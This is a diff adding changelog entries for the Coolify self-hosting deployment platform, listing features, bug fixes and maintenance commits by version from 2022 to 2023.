+- Deployment cancel/debug buttons
+- Upgrade button
+- Changing static build changes port
+- Overwrite default nginx configuration
+- Do not overlap docker image names
+- Oops
+- Found image name
+- Name length
+- Semicolons encoding by traefik
+- Base_dir wip & outputs
+- Cleanup docker images
+- Nginx try_files
+- Master is the default, not main
+- No ms in rate limit resets
+- Loading after button text
+- Default value
+- Localhost is usable
+- Update docker-compose prod
+- Cloud/checkoutid/lms
+- Type of license code
+- More verbose error
+- Version lol
+- Update prod compose
+- Version
+
+### 💼 Other
+
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Extract process handling from async job.
+- Persisting data
+
+## [3.12.28] - 2023-03-16
+
+### 🐛 Bug Fixes
+
+- Revert from dockerhub if ghcr.io does not exists
+
+## [3.12.27] - 2023-03-07
+
+### 🐛 Bug Fixes
+
+- Show ip address as host in public dbs
+
+## [3.12.24] - 2023-03-04
+
+### 🐛 Bug Fixes
+
+- Nestjs buildpack
+
+## [3.12.22] - 2023-03-03
+
+### 🚀 Features
+
+- Add host path to any container
+
+### 🐛 Bug Fixes
+
+- Set PACK_VERSION to 0.27.0
+- PublishDirectory
+- Host volumes
+- Replace . & .. & $PWD with ~
+- Handle log format volumes
+
+## [3.12.19] - 2023-02-20
+
+### 🚀 Features
+
+- Github raw icon url
+- Remove svg support
+
+### 🐛 Bug Fixes
+
+- Typos in docs
+- Url
+- Network in compose files
+- Escape new line chars in wp custom configs
+- Applications cannot be deleted
+- Arm servics
+- Base directory not found
+- Cannot delete resource when you are not on root team
+- Empty port in docker compose
+
+## [3.12.18] - 2023-01-24
+
+### 🐛 Bug Fixes
+
+- CleanupStuckedContainers
+- CleanupStuckedContainers
+
+## [3.12.16] - 2023-01-20
+
+### 🐛 Bug Fixes
+
+- Stucked containers
+
+## [3.12.15] - 2023-01-20
+
+### 🐛 Bug Fixes
+
+- Cleanup function
+- Cleanup stucked containers
+- Deletion + cleanupStuckedContainers
+
+## [3.12.14] - 2023-01-19
+
+### 🐛 Bug Fixes
+
+- Www redirect
+
+## [3.12.13] - 2023-01-18
+
+### 🐛 Bug Fixes
+
+- Secrets
+
+## [3.12.12] - 2023-01-17
+
+### 🚀 Features
+
+- Init h2c (http2/grpc) support
+- Http + h2c paralel
+
+### 🐛 Bug Fixes
+
+- Build args docker compose
+- Grpc
+
+## [3.12.11] - 2023-01-16
+
+### 🐛 Bug Fixes
+
+- Compose file location
+- Docker log sequence
+- Delete apps with previews
+- Do not cleanup compose applications as unconfigured
+- Build env variables with docker compose
+- Public gh repo reload compose
+
+### 💼 Other
+
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+
+## [3.12.10] - 2023-01-11
+
+### 💼 Other
+
+- Add missing variables
+
+## [3.12.9] - 2023-01-11
+
+### 🚀 Features
+
+- Add Openblocks icon
+- Adding icon for whoogle
+- *(ui)* Add libretranslate service icon
+- Handle invite_only plausible analytics
+
+### 🐛 Bug Fixes
+
+- Custom gitlab git user
+- Add documentation link again
+- Remove prefetches
+- Doc link
+- Temporary disable dns check with dns servers
+- Local images for reverting
+- Secrets
+
+## [3.12.8] - 2022-12-27
+
+### 🐛 Bug Fixes
+
+- Parsing secrets
+- Read-only permission
+- Read-only iam
+- $ sign in secrets
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.12.5] - 2022-12-26
+
+### 🐛 Bug Fixes
+
+- Remove unused imports
+
+### 💼 Other
+
+- Conditional on environment
+
+## [3.12.2] - 2022-12-19
+
+### 🐛 Bug Fixes
+
+- Appwrite tmp volume
+- Do not replace secret
+- Root user for dbs on arm
+- Escape secrets
+- Escape env vars
+- Envs
+- Docker buildpack env
+- Secrets with newline
+- Secrets
+- Add default node_env variable
+- Add default node_env variable
+- Secrets
+- Secrets
+- Gh actions
+- Duplicate env variables
+- Cleanupstorage
+
+### 💼 Other
+
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+- Trpc
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.12.1] - 2022-12-13
+
+### 🐛 Bug Fixes
+
+- Build commands
+- Migration file
+- Adding missing appwrite volume
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.12.0] - 2022-12-09
+
+### 🚀 Features
+
+- Use registry for building
+- Docker registries working
+- Custom docker compose file location in repo
+- Save doNotTrackData to db
+- Add default sentry
+- Do not track in settings
+- System wide git out of beta
+- Custom previewseparator
+- Sentry frontend
+- Able to host static/php sites on arm
+- Save application data before deploying
+- SimpleDockerfile deployment
+- Able to push image to docker registry
+- Revert to remote image
+- *(api)* Name label
+
+### 🐛 Bug Fixes
+
+- 0 destinations redirect after creation
+- Seed
+- Sentry dsn update
+- Dnt
+- Ui
+- Only visible with publicrepo
+- Migrations
+- Prevent webhook errors to be logged
+- Login error
+- Remove beta from systemwide git
+- Git checkout
+- Remove sentry before migration
+- Webhook previewseparator
+- Apache on arm
+- Update PR/MRs with new previewSeparator
+- Static for arm
+- Failed builds should not push images
+- Turn off autodeploy for simpledockerfiles
+- Security hole
+- Rde
+- Delete resource on dashboard
+- Wrong port in case of docker compose
+- Public db icon on dashboard
+- Cleanup
+
+### 💼 Other
+
+- Pocketbase release
+
+## [3.11.10] - 2022-11-16
+
+### 🚀 Features
+
+- Only show expose if no proxy conf defined in template
+- Custom/private docker registries
+
+### 🐛 Bug Fixes
+
+- Local dev api/ws urls
+- Wrong template/type
+- Gitea icon is svg
+- Gh actions
+- Gh actions
+- Replace $$generate vars
+- Webhook traefik
+- Exposed ports
+- Wrong icons on dashboard
+- Escape % in secrets
+- Move debug log settings to build logs
+- Storage for compose bp + debug on
+- Hasura admin secret
+- Logs
+- Mounts
+- Load logs after build failed
+- Accept logged and not logged user in /base
+- Remote haproxy password/etc
+- Remove hardcoded sentry dsn
+- Nope in database strings
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+- Version++
+- Version++
+
+## [3.11.9] - 2022-11-15
+
+### 🐛 Bug Fixes
+
+- IsBot issue
+
+## [3.11.8] - 2022-11-14
+
+### 🐛 Bug Fixes
+
+- Default icon for new services
+
+## [3.11.1] - 2022-11-08
+
+### 🚀 Features
+
+- Rollback coolify
+
+### 🐛 Bug Fixes
+
+- Remove contribution docs
+- Umami template
+- Compose webhooks fixed
+- Variable replacements
+- Doc links
+- For rollback
+- N8n and weblate icon
+- Expose ports for services
+- Wp + mysql on arm
+- Show rollback button loading
+- No tags error
+- Update on mobile
+- Dashboard error
+- GetTemplates
+- Docker compose persistent volumes
+- Application persistent storage things
+- Volume names for undefined volume names in compose
+- Empty secrets on UI
+- Ports for services
+
+### 💼 Other
+
+- Secrets on apps
+- Fix
+- Fixes
+- Reload compose loading
+
+### 🚜 Refactor
+
+- Code
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Add jda icon for lavalink service
+- Version++
+
+### ◀️ Revert
+
+- Revert: revert
+
+## [3.11.0] - 2022-11-07
+
+### 🚀 Features
+
+- Initial support for specific git commit
+- Add default to latest commit and support for gitlab
+- Redirect catch-all rule
+
+### 🐛 Bug Fixes
+
+- Secret errors
+- Service logs
+- Heroku bp
+- Expose port is readonly on the wrong condition
+- Toast
+- Traefik proxy q 10s
+- App logs view
+- Tooltip
+- Toast, rde, webhooks
+- Pathprefix
+- Load public repos
+- Webhook simplified
+- Remote webhooks
+- Previews wbh
+- Webhooks
+- Websecure redirect
+- Wb for previews
+- Pr stopps main deployment
+- Preview wbh
+- Wh catchall for all
+- Remove old minio proxies
+- Template files
+- Compose icon
+- Templates
+- Confirm restart service
+- Template
+- Templates
+- Templates
+- Plausible analytics things
+- Appwrite webhook
+- Coolify instance proxy
+- Migrate template
+- Preview webhooks
+- Simplify webhooks
+- Remove ghost-mariadb from the list
+- More simplified webhooks
+- Umami + ghost issues
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.10.16] - 2022-10-12
+
+### 🐛 Bug Fixes
+
+- Single container logs and usage with compose
+
+### 💼 Other
+
+- New resource label
+
+## [3.10.15] - 2022-10-12
+
+### 🚀 Features
+
+- Monitoring by container
+
+### 🐛 Bug Fixes
+
+- Do not show nope as ip address for dbs
+- Add git sha to build args
+- Smart search for new services
+- Logs for not running containers
+- Update docker binaries
+- Gh release
+- Dev container
+- Gitlab auth and compose reload
+- Check compose domains in general
+- Port required if fqdn is set
+- Appwrite v1 missing containers
+- Dockerfile
+- Pull does not work remotely on huge compose file
+
+### ⚙️ Miscellaneous Tasks
+
+- Update staging release
+
+## [3.10.14] - 2022-10-05
+
+### 🚀 Features
+
+- Docker compose support
+- Docker compose
+- Docker compose
+
+### 🐛 Bug Fixes
+
+- Do not use npx
+- Pure docker based development
+
+### 💼 Other
+
+- Docker-compose support
+- Docker compose
+- Remove worker jobs
+- One less worker thread
+
+### 🧪 Testing
+
+- Remove prisma
+
+## [3.10.5] - 2022-09-26
+
+### 🚀 Features
+
+- Add migration button to appwrite
+- Custom certificate
+- Ssl cert on traefik config
+- Refresh resource status on dashboard
+- Ssl certificate sets custom ssl for applications
+- System-wide github apps
+- Cleanup unconfigured applications
+- Cleanup unconfigured services and databases
+
+### 🐛 Bug Fixes
+
+- Ui
+- Tooltip
+- Dropdown
+- Ssl certificate distribution
+- Db migration
+- Multiplex ssh connections
+- Able to search with id
+- Not found redirect
+- Settings db requests
+- Error during saving logs
+- Consider base directory in heroku bp
+- Basedirectory should be empty if null
+- Allow basedirectory for heroku
+- Stream logs for heroku bp
+- Debug log for bp
+- Scp without host verification & cert copy
+- Base directory & docker bp
+- Laravel php chooser
+- Multiplex ssh and ssl copy
+- Seed new preview secret types
+- Error notification
+- Empty preview value
+- Error notification
+- Seed
+- Service logs
+- Appwrite function network is not the default
+- Logs in docker bp
+- Able to delete apps in unconfigured state
+- Disable development low disk space
+- Only log things to console in dev mode
+- Do not get status of more than 10 resources defined by category
+- BaseDirectory
+- Dashboard statuses
+- Default buildImage and baseBuildImage
+- Initial deploy status
+- Show logs better
+- Do not start tcp proxy without main container
+- Cleanup stucked tcp proxies
+- Default 0 pending invitations
+- Handle forked repositories
+- Typo
+- Pr branches
+- Fork pr previews
+- Remove unnecessary things
+- Meilisearch data dir
+- Verify and configure remote docker engines
+- Add buildkit features
+- Nope if you are not logged in
+
+### 💼 Other
+
+- Responsive!
+- Fixes
+- Fix git icon
+- Dropdown as infobox
+- Small logs on mobile
+- Improvements
+- Fix destination view
+- Settings view
+- More UI improvements
+- Fixes
+- Fixes
+- Fix
+- Fixes
+- Beta features
+- Fix button
+- Service fixes
+- Fix basedirectory meaning
+- Resource button fix
+- Main resource search
+- Dev logs
+- Loading button
+- Fix gitlab importer view
+- Small fix
+- Beta flag
+- Hasura console notification
+- Fix
+- Fix
+- Fixes
+- Inprogress version of iam
+- Fix indicato
+- Iam & settings update
+- Send 200 for ping and installation wh
+- Settings icon
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+- Version++
+- Version++
+- Version++
+- Version++
+- Version++
 
 ### ◀️ Revert
 
 - Show usage everytime
-- Revert: revert
-- Wip
-- Variable parsing
-- Hc return code check
-- Instancesettings
-- Pull policy
-- Advanced dropdown
-- Databasebackup
-- Remove Cloudflare async tag attributes
-- Encrypting mount and fs_path
-- *(parser)* Enhance FQDN generation logic for services and applications
+
+## [3.10.2] - 2022-09-11
+
+### 🚀 Features
+
+- Add queue reset button
+- Previewapplications init
+- PreviewApplications finalized
+- Fluentbit
+- Show remote servers
+- *(layout)* Added drawer when user is in mobile
+- Re-apply ui improves
+- *(ui)* Improve header of pages
+- *(styles)* Make header css component
+- *(routes)* Improve ui for apps, databases and services logs
+
+### 🐛 Bug Fixes
+
+- Changing umami image URL to get latest version
+- Gitlab importer for public repos
+- Show error logs
+- Umami init sql
+- Plausible analytics actions
+- Login
+- Dev url
+- UpdateMany build logs
+- Fallback to db logs
+- Fluentbit configuration
+- Coolify update
+- Fluentbit and logs
+- Canceling build
+- Logging
+- Load more
+- Build logs
+- Versions of appwrite
+- Appwrite?!
+- Get building status
+- Await
+- Await #2
+- Update PR building status
+- Appwrite default version 1.0
+- Undead endpoint does not require JWT
+- *(routes)* Improve design of application page
+- *(routes)* Improve design of git sources page
+- *(routes)* Ui from destinations page
+- *(routes)* Ui from databases page
+- *(routes)* Ui from databases page
+- *(routes)* Ui from databases page
+- *(routes)* Ui from services page
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- *(routes)* Ui from settings page
+- *(routes)* Duplicates classes in services page
+- *(routes)* Searchbar ui
+- Github conflicts
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- *(routes)* More ui tweaks
+- Ui with headers
+- *(routes)* Header of settings page in databases
+- *(routes)* Ui from secrets table
+
+### 💼 Other
+
+- Fix plausible
+- Fix cleanup button
+- Fix buttons
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Minor changes
+- Minor changes
+- Minor changes
+- Whoops
+
+## [3.10.1] - 2022-09-10
+
+### 🐛 Bug Fixes
+
+- Show restarting apps
+- Show restarting application & logs
+- Remove unnecessary gitlab group name
+- Secrets for PR
+- Volumes for services
+- Build secrets for apps
+- Delete resource use window location
+
+### 💼 Other
+
+- Fix button
+- Fix follow button
+- Arm should be on next all the time
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.10.0] - 2022-09-08
+
+### 🚀 Features
+
+- New servers view
+
+### 🐛 Bug Fixes
+
+- Change to execa from utils
+- Save search input
+- Ispublic status on databases
+- Port checkers
+- Ui variables
+- Glitchtip env to pyhton boolean
+- Autoupdater
+
+### 💼 Other
+
+- Dashboard updates
+- Fix tooltip
+
+## [3.9.4] - 2022-09-07
+
+### 🐛 Bug Fixes
+
+- DnsServer formatting
+- Settings for service
+
+## [3.9.3] - 2022-09-07
+
+### 🐛 Bug Fixes
+
+- Pr previews
+
+## [3.9.2] - 2022-09-07
+
+### 🚀 Features
+
+- Add traefik acme json to coolify container
+- Database secrets
+
+### 🐛 Bug Fixes
+
+- Gitlab webhook
+- Use ip address instead of window location
+- Use ip instead of window location host
+- Service state update
+- Add initial DNS servers
+- Revert last change with domain check
+- Service volume generation
+- Minio default env variables
+- Add php 8.1/8.2
+- Edgedb ui
+- Edgedb stuff
+- Edgedb
+
+### 💼 Other
+
+- Fix login/register page
+- Update devcontainer
+- Add debug log
+- Fix initial loading icon bg
+- Fix loading start/stop db/services
+- Dashboard updates and a lot more
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+
+## [3.9.0] - 2022-09-06
+
+### 🐛 Bug Fixes
+
+- Debug api logging + gh actions
+- Workdir
+- Move restart button to settings
+
+## [3.9.1-rc.1] - 2022-09-06
+
+### 🚀 Features
+
+- *(routes)* Rework ui from login and register page
+
+### 🐛 Bug Fixes
+
+- Ssh pid agent name
+- Repository link trim
+- Fqdn or expose port required
+- Service deploymentEnabled
+- Expose port is not required
+- Remote verification
+- Dockerfile
+
+### 💼 Other
+
+- Database_branches
+- Login page
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+
+## [3.9.0-rc.1] - 2022-09-02
+
+### 🚀 Features
+
+- New service - weblate
+- Restart application
+- Show elapsed time on running builds
+- Github allow fual branches
+- Gitlab dual branch
+- Taiga
+
+### 🐛 Bug Fixes
+
+- Glitchtip things
+- Loading state on start
+- Ui
+- Submodule
+- Gitlab webhooks
+- UI + refactor
+- Exposedport on save
+- Appwrite letsencrypt
+- Traefik appwrite
+- Traefik
+- Finally works! :)
+- Rename components + remove PR/MR deployment from public repos
+- Settings missing id
+- Explainer component
+- Database name on logs view
+- Taiga
+
+### 💼 Other
+
+- Fixes
+- Change tooltips and info boxes
+- Added rc release
+
+### 🧪 Testing
+
+- Native binary target
+- Dockerfile
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.8.9] - 2022-08-30
+
+### 🐛 Bug Fixes
+
+- Oh god Prisma
+
+## [3.8.8] - 2022-08-30
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.8.6] - 2022-08-30
+
+### 🐛 Bug Fixes
+
+- Pr deployment
+- CompareVersions
+- Include
+- Include
+- Gitlab apps
+
+### 💼 Other
+
+- Fixes
+- Route to the correct path when creating destination from db config
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.8.5] - 2022-08-27
+
+### 🐛 Bug Fixes
+
+- Copy all files during install process
+- Typo
+- Process
+- White labeled icon on navbar
+- Whitelabeled icon
+- Next/nuxt deployment type
+- Again
+
+## [3.8.4] - 2022-08-27
+
+### 🐛 Bug Fixes
+
+- UI thinkgs
+- Delete team while it is active
+- Team switching
+- Queue cleanup
+- Decrypt secrets
+- Cleanup build cache as well
+- Pr deployments + remove public gits
+
+### 💼 Other
+
+- Dashbord fixes
+- Fixes
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.8.3] - 2022-08-26
+
+### 🐛 Bug Fixes
+
+- Secrets decryption
+
+## [3.8.2] - 2022-08-26
+
+### 🚀 Features
+
+- *(ui)* Rework home UI and with responsive design
+
+### 🐛 Bug Fixes
+
+- Never stop deplyo queue
+- Build queue system
+- High cpu usage
+- Worker
+- Better worker system
+
+### 💼 Other
+
+- Dashboard fine-tunes
+- Fine-tune
+- Fixes
+- Fix
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.8.1] - 2022-08-24
+
+### 🐛 Bug Fixes
+
+- Ui buttons
+- Clear queue on cancelling jobs
+- Cancelling jobs
+- Dashboard for admins
+
+## [3.8.0] - 2022-08-23
+
+### 🚀 Features
+
+- Searxng service
+
+### 🐛 Bug Fixes
+
+- Port checker
+- Cancel build after 5 seconds
+- ExposedPort checker
+- Batch secret =
+- Dashboard for non-root users
+- Stream build logs
+- Show build log start/end
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.7.0] - 2022-08-19
+
+### 🚀 Features
+
+- Add GlitchTip service
+
+### 🐛 Bug Fixes
+
+- Missing commas
+- ExposedPort is just optional
+
+### ⚙️ Miscellaneous Tasks
+
+- Add .pnpm-store in .gitignore
+- Version++
+
+## [3.6.0] - 2022-08-18
+
+### 🚀 Features
+
+- Import public repos (wip)
+- Public repo deployment
+- Force rebuild + env.PORT for port + public repo build
+
+### 🐛 Bug Fixes
+
+- Bots without exposed ports
+
+### 💼 Other
+
+- Fixes here and there
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.5.2] - 2022-08-17
+
+### 🐛 Bug Fixes
+
+- Restart containers on-failure instead of always
+- Show that Ghost values could be changed
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.5.1] - 2022-08-17
+
+### 🐛 Bug Fixes
+
+- Revert docker compose version to 2.6.1
+- Trim secrets
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.5.0] - 2022-08-17
+
+### 🚀 Features
+
+- Deploy bots (no domains)
+- Custom dns servers
+
+### 🐛 Bug Fixes
+
+- Dns button ui
+- Bot deployments
+- Bots
+- AutoUpdater & cleanupStorage jobs
+
+### 💼 Other
+
+- Typing
+
+## [3.4.0] - 2022-08-16
+
+### 🚀 Features
+
+- Appwrite service
+- Heroku deployments
+
+### 🐛 Bug Fixes
+
+- Replace docker compose with docker-compose on CSB
+- Dashboard ui
+- Create coolify-infra, if it does not exists
+- Gitpod conf and heroku buildpacks
+- Appwrite
+- Autoimport + readme
+- Services import
+- Heroku icon
+- Heroku icon
+
+## [3.3.4] - 2022-08-15
+
+### 🐛 Bug Fixes
+
+- Make it public button
+- Loading indicator
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.3.3] - 2022-08-14
+
+### 🐛 Bug Fixes
+
+- Decryption errors
+- Postgresql  on ARM
+
+## [3.3.2] - 2022-08-12
+
+### 🐛 Bug Fixes
+
+- Debounce dashboard status requests
+
+### 💼 Other
+
+- Fider
+
+## [3.3.1] - 2022-08-12
+
+### 🐛 Bug Fixes
+
+- Empty buildpack icons
+
+## [3.2.3] - 2022-08-12
+
+### 🚀 Features
+
+- Databases on ARM
+- Mongodb arm support
+- New dashboard
+
+### 🐛 Bug Fixes
+
+- Cleanup stucked prisma-engines
+- Toast
+- Secrets
+- Cleanup prisma engine if there is more than 1
+- !isARM to isARM
+- Enterprise GH link
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.2.2] - 2022-08-11
+
+### 🐛 Bug Fixes
+
+- Coolify-network on verification
+
+## [3.2.1] - 2022-08-11
+
+### 🚀 Features
+
+- Init heroku buildpacks
+
+### 🐛 Bug Fixes
+
+- Follow/cancel buttons
+- Only remove coolify managed containers
+- White-labeled env
+- Schema
+
+### 💼 Other
+
+- Fix
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.2.0] - 2022-08-11
+
+### 🚀 Features
+
+- Persistent storage for all services
+- Cleanup clickhouse db
+
+### 🐛 Bug Fixes
+
+- Rde local ports
+- Empty remote destinations could be removed
+- Tips
+- Lowercase issues fider
+- Tooltip colors
+- Update clickhouse configuration
+- Cleanup command
+- Enterprise Github instance endpoint
+
+### 💼 Other
+
+- Local ssh port
+- Redesign a lot
+- Fixes
+- Loading indicator for plausible buttons
+
+## [3.1.4] - 2022-08-01
+
+### 🚀 Features
+
+- Moodle init
+- Remote docker engine init
+- Working on remote docker engine
+- Rde
+- Remote docker engine
+- Ipv4 and ipv6
+- Contributors
+- Add arch to database
+- Stop preview deployment
+
+### 🐛 Bug Fixes
+
+- Settings from api
+- Selectable destinations
+- Gitpod hardcodes
+- Typo
+- Typo
+- Expose port checker
+- States and exposed ports
+- CleanupStorage
+- Remote traefik webhook
+- Remote engine ip address
+- RemoteipAddress
+- Explanation for remote engine url
+- Tcp proxy
+- Lol
+- Webhook
+- Dns check for rde
+- Gitpod
+- Revert last commit
+- Dns check
+- Dns checker
+- Webhook
+- Df and more debug
+- Webhooks
+- Load previews async
+- Destination icon
+- Pr webhook
+- Cache image
+- No ssh key found
+- Prisma migration + update of docker and stuffs
+- Ui
+- Ui
+- Only 1 ssh-agent is needed
+- Reuse ssh connection
+- Ssh tunnel
+- Dns checking
+- Fider BASE_URL set correctly
+
+### 💼 Other
+
+- Error message https://github.com/coollabsio/coolify/issues/502
+- Changes
+- Settings
+- For removing app
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.1.3] - 2022-07-18
+
+### 🚀 Features
+
+- Init moodle and separate stuffs to shared package
+
+### 🐛 Bug Fixes
+
+- More types for API
+- More types
+- Do not rebuild in case image exists and sha not changed
+- Gitpod urls
+- Remove new service start process
+- Remove shared dir, deployment does not work
+- Gitlab custom url
+- Location url for services and apps
+
+## [3.1.2] - 2022-07-14
+
+### 🐛 Bug Fixes
+
+- Admin password reset should not timeout
+- Message for double branches
+- Turn off autodeploy if double branch is configured
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.1.1] - 2022-07-13
+
+### 🚀 Features
+
+- Gitpod integration
+
+### 🐛 Bug Fixes
+
+- Cleanup less often and can do it manually
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+
+## [3.1.0] - 2022-07-12
+
+### 🚀 Features
+
+- Ability to change deployment type for nextjs
+- Ability to change deployment type for nuxtjs
+- Gitpod ready code(almost)
+- Add Docker buildpack exposed port setting
+- Custom port for git instances
+
+### 🐛 Bug Fixes
+
+- GitLab pagination load data
+- Service domain checker
+- Wp missing ftp solution
+- Ftp WP issues
+- Ftp?!
+- Gitpod updates
+- Gitpod
+- Gitpod
+- Wordpress FTP permission issues
+- GitLab search fields
+- GitHub App button
+- GitLab loop on misconfigured source
+- Gitpod
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [3.0.3] - 2022-07-06
+
+### 🐛 Bug Fixes
+
+- Domain check
+- Domain check
+- TrustProxy for Fastify
+- Hostname issue
+
+## [3.0.2] - 2022-07-06
+
+### 🐛 Bug Fixes
+
+- New destination can be created
+- Include post
+- New destinations
+
+## [3.0.1] - 2022-07-06
+
+### 🐛 Bug Fixes
+
+- Seeding
+- Forgot that the version bump changed 😅
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.11] - 2022-06-20
+
+### 🐛 Bug Fixes
+
+- Be able to change database + service versions
+- Lock file
+
+## [2.9.10] - 2022-06-17
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.9] - 2022-06-10
+
+### 🐛 Bug Fixes
+
+- Host and reload for uvicorn
+- Remove package-lock
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.8] - 2022-06-10
+
+### 🐛 Bug Fixes
+
+- Persistent nocodb
+- Nocodb persistency
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.7] - 2022-06-09
+
+### 🐛 Bug Fixes
+
+- Plausible custom script
+- Plausible script and middlewares
+- Remove console log
+- Remove comments
+- Traefik middleware
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.6] - 2022-06-02
+
+### 🐛 Bug Fixes
+
+- Fider changed an env variable name
+- Pnpm command
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.5] - 2022-06-02
+
+### 🐛 Bug Fixes
+
+- Proxy stop missing argument
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.4] - 2022-06-01
+
+### 🐛 Bug Fixes
+
+- Demo version forms
+- Typo
+- Revert gh and gl cloning
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.3] - 2022-05-31
+
+### 🐛 Bug Fixes
+
+- Recurisve clone instead of submodule
+- Versions
+- Only reconfigure coolify proxy if its missconfigured
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.2] - 2022-05-31
+
+### 🐛 Bug Fixes
+
+- TrustProxy
+- Force restart proxy
+- Only restart coolify proxy in case of version prior to 2.9.2
+- Force restart proxy on seeding
+- Add GIT ENV variable for submodules
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.1] - 2022-05-31
+
+### 🐛 Bug Fixes
+
+- GitHub fixes
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.9.0] - 2022-05-31
+
+### 🚀 Features
+
+- PageLoader
+- Database + service usage
+
+### 🐛 Bug Fixes
+
+- Service checks
+- Remove console.log
+- Traefik
+- Remove debug things
+- WIP Traefik
+- Proxy for http
+- PR deployments view
+- Minio urls + domain checks
+- Remove gh token on git source changes
+- Do not fetch app state in case of missconfiguration
+- Demo instance save domain instantly
+- Instant save on demo instance
+- New source canceled view
+- Lint errors in database services
+- Otherfqdns
+- Host key verification
+- Ftp connection
+
+### 💼 Other
+
+- Appwrite
+- Testing WS
+- Traefik?!
+- Traefik
+- Traefik
+- Traefik migration
+- Traefik
+- Traefik
+- Traefik
+- Notifications and application usage
+- *(fix)* Traefik
+- Css
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.8.2] - 2022-05-16
+
+### 🐛 Bug Fixes
+
+- Gastby buildpack
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.8.1] - 2022-05-10
+
+### 🐛 Bug Fixes
+
+- WP custom db
+- UI
+
+## [2.6.1] - 2022-05-03
+
+### 🚀 Features
+
+- Basic server usage on dashboard
+- Show usage trends
+- Usage on dashboard
+- Custom script path for Plausible
+- WP could have custom db
+- Python image selection
+
+### 🐛 Bug Fixes
+
+- ExposedPorts
+- Logos for dbs
+- Do not run SSL renew in development
+- Check domain for coolify before saving
+- Remove debug info
+- Cancel jobs
+- Cancel old builds in database
+- Better DNS check to prevent errors
+- Check DNS in prod only
+- DNS check
+- Disable sentry for now
+- Cancel
+- Sentry
+- No image for Docker buildpack
+- Default packagemanager
+- Server usage only shown for root team
+- Expose ports for services
+- UI
+- Navbar UI
+- UI
+- UI
+- Remove RC python
+- UI
+- UI
+- UI
+- Default Python package
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+- Version++
+- Version++
+
+## [2.6.0] - 2022-05-02
+
+### 🚀 Features
+
+- Hasura as a service
+- Gzip compression
+- Laravel buildpack is working!
+- Laravel
+- Fider service
+- Database and services logs
+- DNS check settings for SSL generation
+- Cancel builds!
+
+### 🐛 Bug Fixes
+
+- Unami svg size
+- Team switching moved to IAM menu
+- Always use IP address for webhooks
+- Remove unnecessary test endpoint
+- UI
+- Migration
+- Fider envs
+- Checking low disk space
+- Build image
+- Update autoupdate env variable
+- Renew certificates
+- Webhook build images
+- Missing node versions
+
+### 💼 Other
+
+- Laravel
+
+## [2.4.11] - 2022-04-20
+
+### 🚀 Features
+
+- Deno DB migration
+- Show exited containers on UI & better UX
+- Query container state periodically
+- Install svelte-18n and init setup
+- Umami service
+- Coolify auto-updater
+- Autoupdater
+- Select base image for buildpacks
+
+### 🐛 Bug Fixes
+
+- Deno configurations
+- Text on deno buildpack
+- Correct branch shown in build logs
+- Vscode permission fix
+- I18n
+- Locales
+- Application logs is not reversed and queried better
+- Do not activate i18n for now
+- GitHub token cleanup on team switch
+- No logs found
+- Code cleanups
+- Reactivate posgtres password
+- Contribution guide
+- Simplify list services
+- Contribution
+- Contribution guide
+- Contribution guide
+- Packagemanager finder
+
+### 💼 Other
+
+- Umami service
+- Base image selector
+
+### 📚 Documentation
+
+- How to add new services
+- Update
+- Update
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
